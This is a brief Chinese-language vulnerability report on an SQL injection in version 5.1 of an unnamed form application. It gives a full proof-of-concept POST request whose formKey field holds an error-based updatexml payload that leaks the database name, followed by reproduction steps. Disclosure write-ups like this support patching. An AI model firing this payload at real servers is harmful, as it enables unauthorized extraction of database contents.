关键信息 漏洞类型: SQL Injection 版本: 5.1 API路径: /user/form/data/download/file POC (概念验证): - HTTP方法: POST - URL: /user/form/data/download/file - Host: 172.21.265.82:9999 - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 - Content-Length: 129 - Accept: application/json, text/plain, / - Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 - Content-Type: application/json - token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c - Accept-Encoding: gzip - 请求体: {"authGroupid":null,"current":null,"formKey":"ksmmNB" and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "","size":null} Docker环境设置: - 使用 启动服务 - 包含MySQL和touch-mysql容器 漏洞利用步骤: - 创建新表单 - 添加文件上传模块 - 选择左侧数据下载附件 - SQL错误语句注入导致数据库名称泄露 截图显示的SQL错误信息: - 显示了具体的SQL语法错误，确认了SQL注入的存在